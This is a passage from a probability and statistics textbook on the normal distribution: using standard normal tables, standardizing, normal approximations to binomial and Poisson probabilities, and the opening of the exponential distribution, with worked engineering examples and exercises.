Assume Z is a standard normal random variable. Appendix Table III provides probabilities of the form $\Phi(z) = P(Z \leq z)$. The use of Table III to find $P(Z \leq 1.5)$ is illustrated in Fig. 4-13. Read down the z column to the row that equals 1.5. The probability is read from the adjacent column, labeled 0.00, to be 0.93319.

The column headings refer to the hundredths digit of the value of z in $P(Z \leq z)$. For example, $P(Z \leq 1.53)$ is found by reading down the z column to the row 1.5 and then selecting the probability from the column labeled 0.03 to be 0.93699.

z	0.00	0.01	0.02	0.03
0	0.50000	0.50399	0.50398	0.51197
⋮		⋮		
1.5	0.93319	0.93448	0.93574	0.93699

Figure 4-13 Standard normal probability density function.

Probabilities that are not of the form $P(Z \le z)$ are found by using the basic rules of probability and the symmetry of the normal distribution along with Appendix Table III. The following examples illustrate the method.

EXAMPLE 4-12

The following calculations are shown pictorially in Fig. 4-14. In practice, a probability is often rounded to one or two significant digits.

(1) $P(Z > 1.26) = 1 - P(Z \le 1.26) = 1 - 0.89616$
$= 0.10384$

(2) $P(Z < -0.86) = 0.19490.$

(3) $P(Z > -1.37) = P(Z < 1.37) = 0.91465$

(4) $P(-1.25 < Z < 0.37)$. This probability can be found from the difference of two areas, $P(Z < 0.37) - P(Z < -1.25)$. Now,

$P(Z < 0.37) = 0.64431$
and
$P(Z < -1.25) = 0.10565$
Therefore,
$P(-1.25 < Z < 0.37) = 0.64431 - 0.10565$
$= 0.53866$

(5) $P(Z \le -4.6)$ cannot be found exactly from Appendix Table III. However, the last entry in the table can be used to find that $P(Z \le -3.99) = 0.00003$. Because $P(Z \le -4.6) < P(Z \le -3.99)$, $P(Z \le -4.6)$ is nearly zero.

Figure 4-14 Graphical displays for standard normal distributions.

(6) Find the value z such that $P(Z > z) = 0.05$. This probability expression can be written as $P(Z \leq z) = 0.95$. Now, Table III is used in reverse. We search through the probabilities to find the value that corresponds to 0.95. The solution is illustrated in Fig. 4-14. We do not find 0.95 exactly; the nearest value is 0.95053, corresponding to $z = 1.65$.

(7) Find the value of z such that $P(-z < Z < z) = 0.99$. Because of the symmetry of the normal distribution, if the area of the shaded region in Fig. 4-14(7) is to equal 0.99, the area in each tail of the distribution must equal 0.005. Therefore, the value for z corresponds to a probability of 0.995 in Table III. The nearest probability in Table III is 0.99506, when $z = 2.58$.

The preceding examples show how to calculate probabilities for standard normal random variables. To use the same approach for an arbitrary normal random variable would require a separate table for every possible pair of values for μ and σ. Fortunately, all normal probability distributions are related algebraically, and Appendix Table III can be used to find the probabilities associated with an arbitrary normal random variable by first using a simple transformation.

Standardizing a Normal Random Variable

If X is a normal random variable with $E(X) = \mu$ and $V(X) = \sigma^2$, the random variable

$$Z = \frac{X - \mu}{\sigma} \tag{4-10}$$

is a normal random variable with $E(Z) = 0$ and $V(Z) = 1$. That is, Z is a standard normal random variable.

Creating a new random variable by this transformation is referred to as **standardizing.** The random variable Z represents the distance of X from its mean in terms of standard deviations. It is the key step to calculating a probability for an arbitrary normal random variable.

EXAMPLE 4-13 Normally Distributed Current

Suppose the current measurements in a strip of wire are assumed to follow a normal distribution with a mean of 10 milliamperes and a variance of 4 (milliamperes)^2. What is the probability that a measurement will exceed 13 milliamperes?

Let X denote the current in milliamperes. The requested probability can be represented as $P(X > 13)$. Let $Z = (X - 10)/2$. The relationship between the several values of X and the transformed values of Z are shown in Fig. 4-15. We note that $X > 13$ corresponds to $Z > 1.5$. Therefore, from Appendix Table III,

$$P(X > 13) = P(Z > 1.5) = 1 - P(Z \leq 1.5) = 1 - 0.93319 = 0.06681$$

Rather than using Fig. 4-15, the probability can be found from the inequality $X > 13$. That is,

$$P(X > 13) = P\left(\frac{(X - 10)}{2} > \frac{(13 - 10)}{2}\right) = P(Z > 1.5) = 0.06681$$

Practical Interpretation: Probabilities for any normal random variable can be computed with a simple transform to a standard normal random variable.

In the preceding example, the value 13 is transformed to 1.5 by standardizing, and 1.5 is often referred to as the **z-value** associated with a probability. The following summarizes the calculation of probabilities derived from normal random variables.

Figure 4-15 Standardizing a normal random variable.

Standardizing to Calculate a Probability

Suppose X is a normal random variable with mean μ and variance σ^2. Then,

$$P(X \le x) = P\left(\frac{X-\mu}{\sigma} \le \frac{x-\mu}{\sigma}\right) = P(Z \le z) \qquad (4\text{-}11)$$

where Z is a **standard normal random variable,** and $z = \dfrac{(x-\mu)}{\sigma}$ is the ***z*-value** obtained by **standardizing** X. The probability is obtained by using Appendix Table III with $z = (x-\mu)/\sigma$.

EXAMPLE 4-14 Normally Distributed Current

Continuing the previous example, what is the probability that a current measurement is between 9 and 11 milliamperes? From Fig. 4-15, or by proceeding algebraically, we have

$$\begin{aligned} P(9 < X < 11) &= P((9-10)/2 < (X-10)/2 \\ &\quad < (11-10)/2) \\ &= P(-0.5 < Z < 0.5) = P(Z < 0.5) \\ &\quad - P(Z < -0.5) \\ &= 0.69146 - 0.30854 = 0.38292 \end{aligned}$$

Determine the value for which the probability that a current measurement is below this value is 0.98. The requested value is shown graphically in Fig. 4-16. We need the value of x such that $P(X < x) = 0.98$. By standardizing, this probability expression can be written as

$$\begin{aligned} P(X < x) &= P((X-10)/2 < (x-10)/2) \\ &= P(Z < (x-10)/2) \\ &= 0.98 \end{aligned}$$

Appendix Table III is used to find the z-value such that $P(Z < z) = 0.98$. The nearest probability from Table III results in

$$P(Z < 2.05) = 0.97982$$

Therefore, $(x-10)/2 = 2.05$, and the standardizing transformation is used in reverse to solve for x. The result is

$$x = 2(2.05) + 10 = 14.1 \text{ milliamperes}$$

Figure 4-16 Determining the value of x to meet a specified probability.

Figure 4-17 Determining the value of x to meet a specified probability.

EXAMPLE 4-15 Signal Detection

Assume that in the detection of a digital signal the background noise follows a normal distribution with a mean of 0 volt and standard deviation of 0.45 volt. The system assumes a digital 1 has been transmitted when the voltage exceeds 0.9. What is the probability of detecting a digital 1 when none was sent?

Let the random variable N denote the voltage of noise. The requested probability is

$$P(N > 0.9) = P\left(\frac{N}{0.45} > \frac{0.9}{0.45}\right) = P(Z > 2)$$
$$= 1 - 0.97725 = 0.02275$$

This probability can be described as the probability of a false detection.

Determine symmetric bounds about 0 that include 99% of all noise readings. The question requires us to find x such that $P(-x < N < x) = 0.99$. A graph is shown in Fig. 4-17. Now,

$$P(-x < N < x) = P(-x/0.45 < N/0.45 < x/0.45)$$
$$= P(-x/0.45 < Z < x/0.45) = 0.99$$

From Appendix Table III,

$$P(-2.58 < Z < 2.58) = 0.99$$

Therefore,

$$x/0.45 = 2.58$$

and

$$x = 2.58(0.45) = 1.16$$

Suppose that when a digital 1 signal is transmitted, the mean of the noise distribution shifts to 1.8 volts. What is the probability that a digital 1 is not detected? Let the random variable S denote the voltage when a digital 1 is transmitted. Then,

$$P(S < 0.9) = P\left(\frac{S - 1.8}{0.45} < \frac{0.9 - 1.8}{0.45}\right)$$
$$= P(Z < -2) = 0.02275$$

This probability can be interpreted as the probability of a missed signal.

Practical Interpretation: Probability calculations such as these can be used to quantify the rates of missed signals or false signals and to select a threshold to distinguish a zero and a one bit.

EXAMPLE 4-16 Shaft Diameter

The diameter of a shaft in an optical storage drive is normally distributed with mean 0.2508 inch and standard deviation 0.0005 inch. The specifications on the shaft are 0.2500 ± 0.0015 inch. What proportion of shafts conforms to specifications?

Let X denote the shaft diameter in inches. The requested probability is shown in Fig. 4-18 and

$$P(0.2485 < X < 0.2515)$$
$$= P\left(\frac{0.2485 - 0.2508}{0.0005} < Z < \frac{0.2515 - 0.2508}{0.0005}\right)$$
$$= P(-4.6 < Z < 1.4) = P(Z < 1.4) - P(Z < -4.6)$$
$$= 0.91924 - 0.0000 = 0.91924$$

Most of the nonconforming shafts are too large, because the process mean is located very near to the upper specification limit. If the process is centered so that the process mean is equal to the target value of 0.2500,

$$P(0.2485 < X < 0.2515)$$
$$= P\left(\frac{0.2485 - 0.2500}{0.0005} < Z < \frac{0.2515 - 0.2500}{0.0005}\right)$$
$$= P(-3 < Z < 3)$$
$$= P(Z < 3) - P(Z < -3)$$
$$= 0.99865 - 0.00135$$
$$= 0.9973$$

Practical Interpretation: By recentering the process, the yield is increased to approximately 99.73%.

Figure 4-18 Distribution for Example 4-16.

EXERCISES FOR SECTION 4-6

4-49. Use Appendix Table III to determine the following probabilities for the standard normal random variable Z:
(a) $P(Z < 1.32)$ (b) $P(Z < 3.0)$
(c) $P(Z > 1.45)$ (d) $P(Z > -2.15)$
(e) $P(-2.34 < Z < 1.76)$

4-50. Use Appendix Table III to determine the following probabilities for the standard normal random variable Z:
(a) $P(-1 < Z < 1)$ (b) $P(-2 < Z < 2)$
(c) $P(-3 < Z < 3)$ (d) $P(Z > 3)$
(e) $P(0 < Z < 1)$

4-51. Assume Z has a standard normal distribution. Use Appendix Table III to determine the value for z that solves each of the following:
(a) $P(Z < z) = 0.9$ (b) $P(Z < z) = 0.5$
(c) $P(Z > z) = 0.1$ (d) $P(Z > z) = 0.9$
(e) $P(-1.24 < Z < z) = 0.8$

4-52. Assume Z has a standard normal distribution. Use Appendix Table III to determine the value for z that solves each of the following:
(a) $P(-z < Z < z) = 0.95$ (b) $P(-z < Z < z) = 0.99$
(c) $P(-z < Z < z) = 0.68$ (d) $P(-z < Z < z) = 0.9973$

4-53. Assume X is normally distributed with a mean of 10 and a standard deviation of 2. Determine the following:
(a) $P(X < 13)$ (b) $P(X > 9)$
(c) $P(6 < X < 14)$ (d) $P(2 < X < 4)$
(e) $P(-2 < X < 8)$

4-54. Assume X is normally distributed with a mean of 10 and a standard deviation of 2. Determine the value for x that solves each of the following:
(a) $P(X > x) = 0.5$
(b) $P(X > x) = 0.95$
(c) $P(x < X < 10) = 0.2$
(d) $P(-x < X - 10 < x) = 0.95$
(e) $P(-x < X - 10 < x) = 0.99$

4-55. Assume X is normally distributed with a mean of 5 and a standard deviation of 4. Determine the following:
(a) $P(X < 11)$ (b) $P(X > 0)$
(c) $P(3 < X < 7)$ (d) $P(-2 < X < 9)$
(e) $P(2 < X < 8)$

4-56. Assume X is normally distributed with a mean of 5 and a standard deviation of 4. Determine the value for x that solves each of the following:
(a) $P(X > x) = 0.5$ (b) $P(X > x) = 0.95$
(c) $P(x < X < 9) = 0.2$ (d) $P(3 < X < x) = 0.95$
(e) $P(-x < X - 5 < x) = 0.99$

4-57. The compressive strength of samples of cement can be modeled by a normal distribution with a mean of 6000 kilograms per square centimeter and a standard deviation of 100 kilograms per square centimeter.
(a) What is the probability that a sample's strength is less than 6250 Kg/cm^2?
(b) What is the probability that a sample's strength is between 5800 and 5900 Kg/cm^2?
(c) What strength is exceeded by 95% of the samples?

4-58. The time until recharge for a battery in a laptop computer under common conditions is normally distributed with a mean of 260 minutes and a standard deviation of 50 minutes.
(a) What is the probability that a battery lasts more than four hours?
(b) What are the quartiles (the 25% and 75% values) of battery life?
(c) What value of life in minutes is exceeded with 95% probability?

4-59. An article in *Knee Surgery Sports Traumatol Arthrosc* ["Effect of Provider Volume on Resource Utilization for Surgical Procedures" (2005, Vol. 13, pp. 273–279)] showed a mean time of 129 minutes and a standard deviation of 14 minutes for ACL reconstruction surgery at high-volume hospitals (with more than 300 such surgeries per year).
(a) What is the probability that your ACL surgery at a high-volume hospital requires a time more than two standard deviations above the mean?
(b) What is the probability that your ACL surgery at a high-volume hospital is completed in less than 100 minutes?
(c) The probability of a completed ACL surgery at a high-volume hospital is equal to 95% at what time?
(d) If your surgery requires 199 minutes, what do you conclude about the volume of such surgeries at your hospital? Explain.

4-60. Cholesterol is a fatty substance that is an important part of the outer lining (membrane) of cells in the body of animals. Its normal range for an adult is 120–240 mg/dl. The Food and Nutrition Institute of the Philippines found that the total cholesterol level for Filipino adults has a mean of 159.2 mg/dl and 84.1% of adults have a cholesterol level below 200 mg/dl

(http://www.fnri.dost.gov.ph/). Suppose that the total cholesterol level is normally distributed.

(a) Determine the standard deviation of this distribution.
(b) What are the quartiles (the 25% and 75% values) of this distribution?
(c) What is the value of the cholesterol level that exceeds 90% of the population?
(d) An adult is at moderate risk if cholesterol level is more than one but less than two standard deviations above the mean. What percentage of the population is at moderate risk according to this criterion?
(e) An adult is thought to be at high risk if his cholesterol level is more than two standard deviations above the mean. What percentage of the population is at high risk?
(f) An adult has low risk if cholesterol level is one standard deviation or more below the mean. What percentage of the population is at low risk?

4-61. The line width for semiconductor manufacturing is assumed to be normally distributed with a mean of 0.5 micrometer and a standard deviation of 0.05 micrometer.

(a) What is the probability that a line width is greater than 0.62 micrometer?
(b) What is the probability that a line width is between 0.47 and 0.63 micrometer?
(c) The line width of 90% of samples is below what value?

4-62. The fill volume of an automated filling machine used for filling cans of carbonated beverage is normally distributed with a mean of 12.4 fluid ounces and a standard deviation of 0.1 fluid ounce.

(a) What is the probability that a fill volume is less than 12 fluid ounces?
(b) If all cans less than 12.1 or greater than 12.6 ounces are scrapped, what proportion of cans is scrapped?
(c) Determine specifications that are symmetric about the mean that include 99% of all cans.

4-63. In the previous exercise, suppose that the mean of the filling operation can be adjusted easily, but the standard deviation remains at 0.1 ounce.

(a) At what value should the mean be set so that 99.9% of all cans exceed 12 ounces?
(b) At what value should the mean be set so that 99.9% of all cans exceed 12 ounces if the standard deviation can be reduced to 0.05 fluid ounce?

4-64. The reaction time of a driver to visual stimulus is normally distributed with a mean of 0.4 seconds and a standard deviation of 0.05 seconds.

(a) What is the probability that a reaction requires more than 0.5 seconds?
(b) What is the probability that a reaction requires between 0.4 and 0.5 seconds?
(c) What is the reaction time that is exceeded 90% of the time?

4-65. The speed of a file transfer from a server on campus to a personal computer at a student's home on a weekday evening is normally distributed with a mean of 60 kilobits per second and a standard deviation of 4 kilobits per second.

(a) What is the probability that the file will transfer at a speed of 70 kilobits per second or more?
(b) What is the probability that the file will transfer at a speed of less than 58 kilobits per second?
(c) If the file is 1 megabyte, what is the average time it will take to transfer the file? (Assume eight bits per byte.)

4-66. The average height of a woman aged 20–74 years is 64 inches in 2002, with an increase of approximately one inch from 1960 (http://usgovinfo.about.com/od/healthcare). Suppose the height of a woman is normally distributed with a standard deviation of 2 inches.

(a) What is the probability that a randomly selected woman in this population is between 58 inches and 70 inches?
(b) What are the quartiles of this distribution?
(c) Determine the height that is symmetric about the mean that includes 90% of this population.
(d) What is the probability that five women selected at random from this population all exceed 68 inches?

4-67. In an accelerator center, an experiment needs a 1.41-cm-thick aluminum cylinder (http://puhep1.princeton.edu/mumu/target/Solenoid_Coil.pdf). Suppose that the thickness of a cylinder has a normal distribution with a mean of 1.41 cm and a standard deviation of 0.01 cm.

(a) What is the probability that a thickness is greater than 1.42 cm?
(b) What thickness is exceeded by 95% of the samples?
(c) If the specifications require that the thickness is between 1.39 cm and 1.43 cm, what proportion of the samples meet specifications?

4-68. The demand for water use in Phoenix in 2003 hit a high of about 442 million gallons per day on June 27, 2003 (http://phoenix.gov/WATER/wtrfacts.html). Water use in the summer is normally distributed with a mean of 310 million gallons per day and a standard deviation of 45 million gallons per day. City reservoirs have a combined storage capacity of nearly 350 million gallons.

(a) What is the probability that a day requires more water than is stored in city reservoirs?
(b) What reservoir capacity is needed so that the probability that it is exceeded is 1%?
(c) What amount of water use is exceeded with 95% probability?
(d) Water is provided to approximately 1.4 million people. What is the mean daily consumption per person at which the probability that the demand exceeds the current reservoir capacity is 1%? Assume that the standard deviation of demand remains the same.

4-69. The life of a semiconductor laser at a constant power is normally distributed with a mean of 7000 hours and a standard deviation of 600 hours.

(a) What is the probability that a laser fails before 5000 hours?
(b) What is the life in hours that 95% of the lasers exceed?
(c) If three lasers are used in a product and they are assumed to fail independently, what is the probability that all three are still operating after 7000 hours?

4-70. The diameter of the dot produced by a printer is normally distributed with a mean diameter of 0.002 inch and a standard deviation of 0.0004 inch.

(a) What is the probability that the diameter of a dot exceeds 0.0026 inch?

(b) What is the probability that a diameter is between 0.0014 and 0.0026 inch?

(c) What standard deviation of diameters is needed so that the probability in part (b) is 0.995?

4-71. The weight of a sophisticated running shoe is normally distributed with a mean of 12 ounces and a standard deviation of 0.5 ounce.

(a) What is the probability that a shoe weighs more than 13 ounces?

(b) What must the standard deviation of weight be in order for the company to state that 99.9% of its shoes are less than 13 ounces?

(c) If the standard deviation remains at 0.5 ounce, what must the mean weight be in order for the company to state that 99.9% of its shoes are less than 13 ounces?

4-72. Measurement error that is normally distributed with a mean of zero and a standard deviation of 0.5 gram is added to the true weight of a sample. Then the measurement is rounded to the nearest gram. Suppose that the true weight of a sample is 165.5 grams.

(a) What is the probability that the rounded result is 167 grams?

(b) What is the probability that the rounded result is 167 grams or greater?

4-73. Assume that a random variable is normally distributed with a mean of 24 and a standard deviation of 2. Consider an interval of length one unit that starts at the value a so that the interval is $[a, a + 1]$. For what value of a is the probability of the interval greatest? Does the standard deviation affect that choice of interval?

4-74. A study by Bechtel, et al., 2009, in the *Archives of Environmental & Occupational Health* considered polycyclic aromatic hydrocarbons and immune system function in beef cattle. Some cattle were near major oil- and gas-producing areas of western Canada. The mean monthly exposure to PM1.0 (particulate matter that is < 1 μm in diameter) was approximately 7.1 $\mu g/m^3$ with standard deviation 1.5. Assume the monthly exposure is normally distributed.

(a) What is the probability of a monthly exposure greater than 9 $\mu g/m^3$?

(b) What is the probability of a monthly exposure between 3 and 8 $\mu g/m^3$?

(c) What is the monthly exposure level that is exceeded with probability 0.05?

(d) What value of mean monthly exposure is needed so that the probability of a monthly exposure greater than 9 $\mu g/m^3$ is 0.01?

4-75. An article under review for *Air Quality, Atmosphere & Health* titled "Linking Particulate Matter (PM10) and Childhood Asthma in Central Phoenix" used PM10 (particulate matter < 10 μm in diameter) air quality data measured hourly from sensors in Phoenix, Arizona. The 24-hour (daily) mean PM10 for a centrally located sensor was 50.9 $\mu g/m^3$ with a standard deviation of 25.0. Assume that the daily mean of PM10 is normally distributed.

(a) What is the probability of a daily mean of PM10 greater than 100 $\mu g/m^3$?

(b) What is the probability of a daily mean of PM10 less than 25 $\mu g/m^3$?

(c) What daily mean of PM10 value is exceeded with probability 5%?

4-76. The length of stay at a specific emergency department in Phoenix, Arizona, in 2009 had a mean of 4.6 hours with a standard deviation of 2.9. Assume that the length of stay is normally distributed.

(a) What is the probability of a length of stay greater than 10 hours?

(b) What length of stay is exceeded by 25% of the visits?

(c) From the normally distributed model, what is the probability of a length of stay less than zero hours? Comment on the normally distributed assumption in this example.

4-7 NORMAL APPROXIMATION TO THE BINOMIAL AND POISSON DISTRIBUTIONS

We began our section on the normal distribution with the central limit theorem and the normal distribution as an approximation to a random variable with a large number of trials. Consequently, it should not be a surprise to learn that the normal distribution can be used to approximate binomial probabilities for cases in which n is large. The following example illustrates that for many physical systems the binomial model is appropriate with an extremely large value for n. In these cases, it is difficult to calculate probabilities by using the binomial distribution. Fortunately, the normal approximation is most effective in these cases. An illustration is provided in Fig. 4-19. The area of each bar equals the binomial probability of x. Notice that the area of bars can be approximated by areas under the normal density function.

From Fig. 4-19 it can be seen that a probability such as $P(3 \le X \le 7)$ is better approximated by the area under the normal curve from 2.5 to 7.5. This observation provides a method

Figure 4-19 Normal approximation to the binomial distribution.

to approximate binomial probabilities. Because a continuous normal distribution is used to approximate a discrete binomial distribution, the modification is referred to as a **continuity correction.**

EXAMPLE 4-17

In a digital communication channel, assume that the number of bits received in error can be modeled by a binomial random variable, and assume that the probability that a bit is received in error is 1×10^{-5}. If 16 million bits are transmitted, what is the probability that 150 or fewer errors occur?

Let the random variable X denote the number of errors. Then X is a binomial random variable and

$$P(X \leq 150) = \sum_{x=0}^{150} \binom{16{,}000{,}000}{x} (10^{-5})^x (1 - 10^{-5})^{16{,}000{,}000 - x}$$

Practical Interpretation: Clearly this probability is difficult to compute. Fortunately, the normal distribution can be used to provide an excellent approximation in this example.

Normal Approximation to the Binomial Distribution

If X is a binomial random variable with parameters n and p,

$$Z = \frac{X - np}{\sqrt{np(1-p)}} \tag{4-12}$$

is approximately a standard normal random variable. To approximate a binomial probability with a normal distribution, a **continuity correction** is applied as follows:

$$P(X \leq x) = P(X \leq x + 0.5) \cong P\left(Z \leq \frac{x + 0.5 - np}{\sqrt{np(1-p)}}\right)$$

and

$$P(x \leq X) = P(x - 0.5 \leq X) \cong P\left(\frac{x - 0.5 - np}{\sqrt{np(1-p)}} \leq Z\right)$$

The approximation is good for $np > 5$ and $n(1-p) > 5$.

Recall that for a binomial variable X, $E(X) = np$ and $V(X) = np(1 - p)$. Consequently, the expression in Equation 4-12 is nothing more than the formula for standardizing the random variable X. Probabilities involving X can be approximated by using a standard normal distribution. The approximation is good when n is large relative to p.

A way to remember the approximation is to write the probability in terms of $\le$ or $\ge$ and then add or subtract the 0.5 correction factor to make the probability greater.

EXAMPLE 4-18

The digital communication problem in the previous example is solved as follows:

$$\begin{aligned} P(X \le 150) &= P(X \le 150.5) \\ &= P\left(\frac{X - 160}{\sqrt{160(1 - 10^{-5})}} \le \frac{150.5 - 160}{\sqrt{160(1 - 10^{-5})}}\right) \\ &\cong P(Z \le -0.75) = 0.227 \end{aligned}$$

Because $np = (16 \times 10^6)(1 \times 10^{-5}) = 160$ and $n(1 - p)$ is much larger, the approximation is expected to work well in this case.

Practical Interpretation: Binomial probabilities that are difficult to compute exactly can be approximated with easy to compute probabilities based on the normal distribution.

EXAMPLE 4-19 Normal Approximation to Binomial

Again consider the transmission of bits in Example 4-18. To judge how well the normal approximation works, assume only $n = 50$ bits are to be transmitted and that the probability of an error is $p = 0.1$. The exact probability that 2 or less errors occur is

$$\begin{aligned} P(X \le 2) = &\binom{50}{0} 0.9^{50} + \binom{50}{1} 0.1(0.9^{49}) \\ &+ \binom{50}{2} 0.1^2(0.9^{48}) = 0.112 \end{aligned}$$

Based on the normal approximation,

$$\begin{aligned} P(X \le 2) &= P\left(\frac{X - 5}{\sqrt{50(0.1)(0.9)}} < \frac{2.5 - 5}{\sqrt{50(0.1)(0.9)}}\right) \\ &= P(Z < -1.18) = 0.119 \end{aligned}$$

As another example, $P(8 < X) = P(9 \le X)$ and this is better approximated as

$$\begin{aligned} P(9 \le X) = P(8.5 \le X) &\approx P\left(\frac{8.5 - 5}{2.12} \le Z\right) \\ &= P(1.65 \le Z) = 0.05 \end{aligned}$$

We can even approximate $P(X = 5) = P(5 \le X \le 5)$ as

$$\begin{aligned} P(5 \le X \le 5) &= P(4.5 \le X \le 5.5) \\ &\approx P\left(\frac{4.5 - 5}{2.12} \le Z \le \frac{5.5 - 5}{2.12}\right) \\ &= P(-0.24 \le Z \le 0.24) = 0.19 \\ &= P(4.5 \le X \le 5.5) \end{aligned}$$

and this compares well with the exact answer of 0.1849.

Practical Interpretation: Even for a sample as small as 50 bits, the normal approximation is reasonable, when $p = 0.1$.

The correction factor is used to improve the approximation. However, if np or $n(1 - p)$ is small, the binomial distribution is quite skewed and the symmetric normal distribution is not a good approximation. Two cases are illustrated in Fig. 4-20.

Recall that the binomial distribution is a satisfactory approximation to the hypergeometric distribution when n, the sample size, is small relative to N, the size of the population from which the sample is selected. A rule of thumb is that the binomial approximation is effective if $n/N < 0.1$. Recall that for a hypergeometric distribution, p is defined as $p = K/N$. That is, p is interpreted as the number of successes in the population. Therefore, the normal distribution can provide an effective approximation of hypergeometric probabilities when $n/N < 0.1$, $np > 5$, and $n(1 - p) > 5$. Figure 4-21 provides a summary of these guidelines.

Figure 4-20 Binomial distribution is not symmetrical if p is near 0 or 1.

Recall that the Poisson distribution was developed as the limit of a binomial distribution as the number of trials increased to infinity. Consequently, it should not be surprising to find that the normal distribution can also be used to approximate probabilities of a Poisson random variable.

Normal Approximation to the Poisson Distribution

If X is a Poisson random variable with $E(X) = \lambda$ and $V(X) = \lambda$,

$$Z = \frac{X - \lambda}{\sqrt{\lambda}} \tag{4-13}$$

is approximately a standard normal random variable. The same continuity correction used for the binomial distribution can also be applied. The approximation is good for

$$\lambda > 5$$

EXAMPLE 4-20 Normal Approximation to Poisson

Assume that the number of asbestos particles in a squared meter of dust on a surface follows a Poisson distribution with a mean of 1000. If a squared meter of dust is analyzed, what is the probability that 950 or fewer particles are found?

This probability can be expressed exactly as

$$P(X \le 950) = \sum_{x=0}^{950} \frac{e^{-1000}\, 1000^x}{x!}$$

The computational difficulty is clear. The probability can be approximated as

$$P(X \le 950) = P(X \le 950.5) \approx P\left(Z \le \frac{950.5 - 1000}{\sqrt{1000}}\right)$$
$$= P(Z \le -1.57) = 0.058$$

Practical Interpretation: Poisson probabilities that are difficult to compute exactly can be approximated with easy to compute probabilities based on the normal distribution.

hypergometric distribution	$\approx$	binomial distribution	$\approx$	normal distribution
	$\frac{n}{N} < 0.1$		$np > 5$ $n(1-p) > 5$	

Figure 4-21 Conditions for approximating hypergeometric and binomial probabilities.

EXERCISES FOR SECTION 4-7

4-77. Suppose that X is a binomial random variable with $n = 200$ and $p = 0.4$.
(a) Approximate the probability that X is less than or equal to 70.
(b) Approximate the probability that X is greater than 70 and less than 90.
(c) Approximate the probability that $X = 80$.

4-78. Suppose that X is a Poisson random variable with $\lambda = 6$.
(a) Compute the exact probability that X is less than 4.
(b) Approximate the probability that X is less than 4 and compare to the result in part (a).
(c) Approximate the probability that $8 < X < 12$.

4-79. Suppose that X has a Poisson distribution with a mean of 64. Approximate the following probabilities:
(a) $P(X > 72)$
(b) $P(X < 64)$
(c) $P(60 < X \leq 68)$

4-80. The manufacturing of semiconductor chips produces 2% defective chips. Assume the chips are independent and that a lot contains 1000 chips.
(a) Approximate the probability that more than 25 chips are defective.
(b) Approximate the probability that between 20 and 30 chips are defective.

4-81. There were 49.7 million people with some type of long-lasting condition or disability living in the United States in 2000. This represented 19.3 percent of the majority of civilians aged five and over (http://factfinder. census.gov). A sample of 1000 persons is selected at random.
(a) Approximate the probability that more than 200 persons in the sample have a disability.
(b) Approximate the probability that between 180 and 300 people in the sample have a disability.

4-82. Phoenix water is provided to approximately 1.4 million people, who are served through more than 362,000 accounts (http://phoenix.gov/WATER/wtrfacts.html). All accounts are metered and billed monthly. The probability that an account has an error in a month is 0.001, and accounts can be assumed to be independent.
(a) What is the mean and standard deviation of the number of account errors each month?
(b) Approximate the probability of fewer than 350 errors in a month.
(c) Approximate a value so that the probability that the number of errors exceeds this value is 0.05.
(d) Approximate the probability of more than 400 errors per month in the next two months. Assume that results between months are independent.

4-83. An electronic office product contains 5000 electronic components. Assume that the probability that each component operates without failure during the useful life of the product is 0.999, and assume that the components fail independently. Approximate the probability that 10 or more of the original 5000 components fail during the useful life of the product.

4-84. A corporate Web site contains errors on 50 of 1000 pages. If 100 pages are sampled randomly, without replacement, approximate the probability that at least 1 of the pages in error is in the sample.

4-85. Suppose that the number of asbestos particles in a sample of 1 squared centimeter of dust is a Poisson random variable with a mean of 1000. What is the probability that 10 squared centimeters of dust contains more than 10,000 particles?

4-86. A high-volume printer produces minor print-quality errors on a test pattern of 1000 pages of text according to a Poisson distribution with a mean of 0.4 per page.
(a) Why are the numbers of errors on each page independent random variables?
(b) What is the mean number of pages with errors (one or more)?
(c) Approximate the probability that more than 350 pages contain errors (one or more).

4-87. Hits to a high-volume Web site are assumed to follow a Poisson distribution with a mean of 10,000 per day. Approximate each of the following:
(a) The probability of more than 20,000 hits in a day
(b) The probability of less than 9900 hits in a day
(c) The value such that the probability that the number of hits in a day exceeds the value is 0.01
(d) Approximate the expected number of days in a year (365 days) that exceed 10,200 hits.
(e) Approximate the probability that over a year (365 days) more than 15 days each have more than 10,200 hits.

4-88. An acticle in *Biometrics* ["Integrative Analysis of Transcriptomic and Proteomic Data of Desulfovibrio vulgaris: A Nonlinear Model to Predict Abundance of Undetected Proteins" (2009)] found that protein abundance from an operon (a set of biologically related genes) was less dispersed than from randomly selected genes. In the research, 1000 sets of genes were randomly constructed and 75% of these sets were more disperse than a specific opteron. If the probability that a random set is more disperse than this opteron is truly 0.5, approximate the probability that 750 or more random sets exceed the opteron. From this result, what do you conclude about the dispersion in the opteron versus random genes?

4-89. An article under review for *Air Quality, Atmosphere & Health* titled "Linking Particulate Matter (PM10) and Childhood Asthma in Central Phoenix" linked air quality to childhood asthma incidents. The study region in central Phoenix, Arizona, recorded 10,500 asthma incidents in children in a 21-month period. Assume that the number of asthma incidents follows a Poisson distribution.

(a) Approximate the probability of more than 550 asthma incidents in a month.
(b) Approximate the probability of 450 to 550 asthma incidents in a month.
(c) Approximate the number of asthma incidents exceeded with probability 5%.
(d) If the number of asthma incidents were greater during the winter than the summer, what would this imply about the Poisson distribution assumption?.

4-8 EXPONENTIAL DISTRIBUTION

The discussion of the Poisson distribution defined a random variable to be the number of flaws along a length of copper wire. The distance between flaws is another random variable that is often of interest. Let the random variable X denote the length from any starting point on the wire until a flaw is detected. As you might expect, the distribution of X can be obtained from knowledge of the distribution of the number of flaws. The key to the relationship is the following concept. The distance to the first flaw exceeds 3 millimeters if and only if there are no flaws within a length of 3 millimeters—simple, but sufficient for an analysis of the distribution of X.

In general, let the random variable N denote the number of flaws in x millimeters of wire. If the mean number of flaws is λ per millimeter, N has a Poisson distribution with mean λx. We assume that the wire is longer than the value of x. Now,

$$P(X > x) = P(N = 0) = \frac{e^{-\lambda x}(\lambda x)^0}{0!} = e^{-\lambda x}$$

Therefore,

$$F(x) = P(X \le x) = 1 - e^{-\lambda x}, \qquad x \ge 0$$

is the cumulative distribution function of X. By differentiating $F(x)$, the probability density function of X is calculated to be

$$f(x) = \lambda e^{-\lambda x}, \quad x \ge 0$$

The derivation of the distribution of X depends only on the assumption that the flaws in the wire follow a **Poisson process.** Also, the starting point for measuring X doesn't matter because the probability of the number of flaws in an interval of a Poisson process depends only on the length of the interval, not on the location. For any Poisson process, the following general result applies.

Exponential Distribution

The random variable X that equals the distance between successive events of a Poisson process with mean number of events $\lambda > 0$ per unit interval is an **exponential random variable** with parameter λ. The probability density function of X is

$$f(x) = \lambda e^{-\lambda x} \quad \text{for} \quad 0 \le x < \infty \tag{4-14}$$

Figure 4-22
